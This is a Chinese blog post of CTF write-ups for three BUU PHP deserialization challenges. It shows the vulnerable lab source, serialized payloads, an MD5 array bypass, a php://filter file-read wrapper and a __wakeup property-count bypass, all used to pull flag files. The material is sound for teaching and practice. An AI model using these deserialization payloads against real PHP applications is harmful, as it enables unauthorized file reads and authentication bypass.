当前位置: 首页 > article >正文

PHP反序列化练习

BUU上的三个题。

BUU CODE REVIEW 1

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */
​
highlight_file(__FILE__);
​
class BUU {
   public $correct = "";
   public $input = "";
​
   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
​
if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

页面代码如上,需要五个参数,pleaseget,pleasepost,md51,md52,obj。

这其中需要pleaseget和pleasepost分别强等于1和2,md51和md52不一样,但md5编码后一样,可以使用数组绕过。下面构造obj。

obj的反序列化会触发__destruct魔术方法,根据里面的内容correct会被随机赋值,我们要得到flag,就要让correct和input相等即可。

构造php脚本:

<?php
class BUU {
   public $correct = "";
   public $input = "";
}
$a=new BUU();
$a->correct="";
$a->input=&$a->correct;//input和correct的值相等。
echo serialize($a);
?>

输出结果:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

进行输入获取flag:

[网鼎杯 2020 青龙组]AreUSerialz

<?php
​
include("flag.php");
​
highlight_file(__FILE__);
​
class FileHandler {
​
    protected $op;//构造脚本时换成public,否则产生的字符会超出范围。
    protected $filename;
    protected $content;
​
    function __construct() {//不会被触发
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
​
    public function process() {
        if($this->op == "1") {
            $this->write();//调用write函数
        } else if($this->op == "2") {
            $res = $this->read();//调用read函数
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
​
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {//判断字符串长度
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//将某字符写入某文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
​
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//读取文件获取flag,故而要使op=2
        }
        return $res;
    }
​
    private function output($s) {//输出函数
        echo "[Result]: <br>";
        echo $s;
    }
​
    function __destruct() {
        if($this->op === "2")//需要绕过,这里是强等于,上面是弱等于,那只需让op等于2,但数据类型不是字符即可。
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
​
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//传参数据的ascll码值必须大于等于32,小于等于125。
            return false;
    return true;
}
​
if(isset($_GET{'str'})) {
​
    $str = (string)$_GET['str'];
    if(is_valid($str)) {//if里面调用了is_valid函数
        $obj = unserialize($str);
    }
​
}

构造脚本:

<?php
class FileHandler {
​
    public $op=2;
    public $filename='flag.php';//这里的`flag.php`可以换成php://filter/read=convert.base64-encode/resource=flag.php
    public $content;
}
$a=new FileHandler();
echo serialize($a);
?>

构造结果:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}或O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

区别:

简单的flag.php,文件不会显示到页面上,需要产看源代码即可看到。

php://filter/read=convert.base64-encode/resource=flag.php会对文件进行过滤,最终文件内容会以base64编码的形式呈现在页面上,进行解码即可见到。

[极客大挑战 2019]PHP

本题先使用dirsearch进行扫描,扫描时间有点长。

扫描完成后会获取到一个www.zip文件,在url中输入,下载完成可以得到flag.php,class.php,index.php三个文件。flag文件中没有什么内容,可以不看了,index是页面小猫的代码,里面有个传参的代码。

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>//传递的参数是select。

下面着重看class代码。

<?php
include 'flag.php';
​
​
error_reporting(0);
​
​
class Name{
    private $username = 'nonono';//这里是private,我们需要将空字符输入,可以使用base64编码再解码输入。可以在BP中操作。
    private $password = 'yesyes';
​
    public function __construct($username,$password){//不会触发
        $this->username = $username;
        $this->password = $password;
    }
​
    function __wakeup(){//修改username的值,要进行绕过,即参数个数要比实际参数个数大
        $this->username = 'guest';
    }
​
    function __destruct(){
        if ($this->password != 100) {//确保password是100
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {//要使条件成立
            global $flag;//获取flag
            echo $flag;//输出flag
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

构造脚本:

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$a=new Name();
echo serialize($a);
?>

编码结果:Tzo0OiJOYW1lIjozOntzOjE0OiIATmFtZQB1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxNDoiAE5hbWUAcGFzc3dvcmQiO3M6MzoiMTAwIjt9


http://www.kler.cn/a/520566.html

相关文章:

  • 单相可控整流电路——单相桥式全控整流电路
  • 人格分裂(交互问答)-小白想懂Elasticsearch
  • 类与对象(下)
  • Linux的常用指令的用法
  • 使用云服务器自建Zotero同步的WebDAV服务教程
  • 正则表达式基础与应用
  • Semantic Kernel - Kernel理解
  • 719.找出第K小的数对距离(双指针、K值问题)
  • On to OpenGL and 3D computer graphics
  • 【C++高并发服务器WebServer】-8:终端、进程组、会话、守护进程
  • git回退
  • 家居 EDI:Haverty‘s EDI 需求分析
  • 【Postman接口测试】Postman的常见断言
  • 【数据结构】空间复杂度
  • P1177 【模板】排序
  • 1.26学习记录
  • Libreoffice实现Word、Excel在线预览
  • 荔枝派LicheePi Zero V3S芯片图形系统开发详解
  • 深度学习VS机器视觉
  • ORB-SLAM2源码学习:Initializer.cc⑩: Initializer::FindFundamental找到最好的基础矩阵F
  • spark streaming基础操作
  • 数学建模论文通用模板(细节方法二)
  • 大数据之路:阿里巴巴大数据实践(1)
  • webview_flutter_wkwebview3.17.0 --Cookie认证
  • kubernetes 核心技术-Namespace
  • 【信息系统项目管理师-选择真题】2015下半年综合知识答案和详解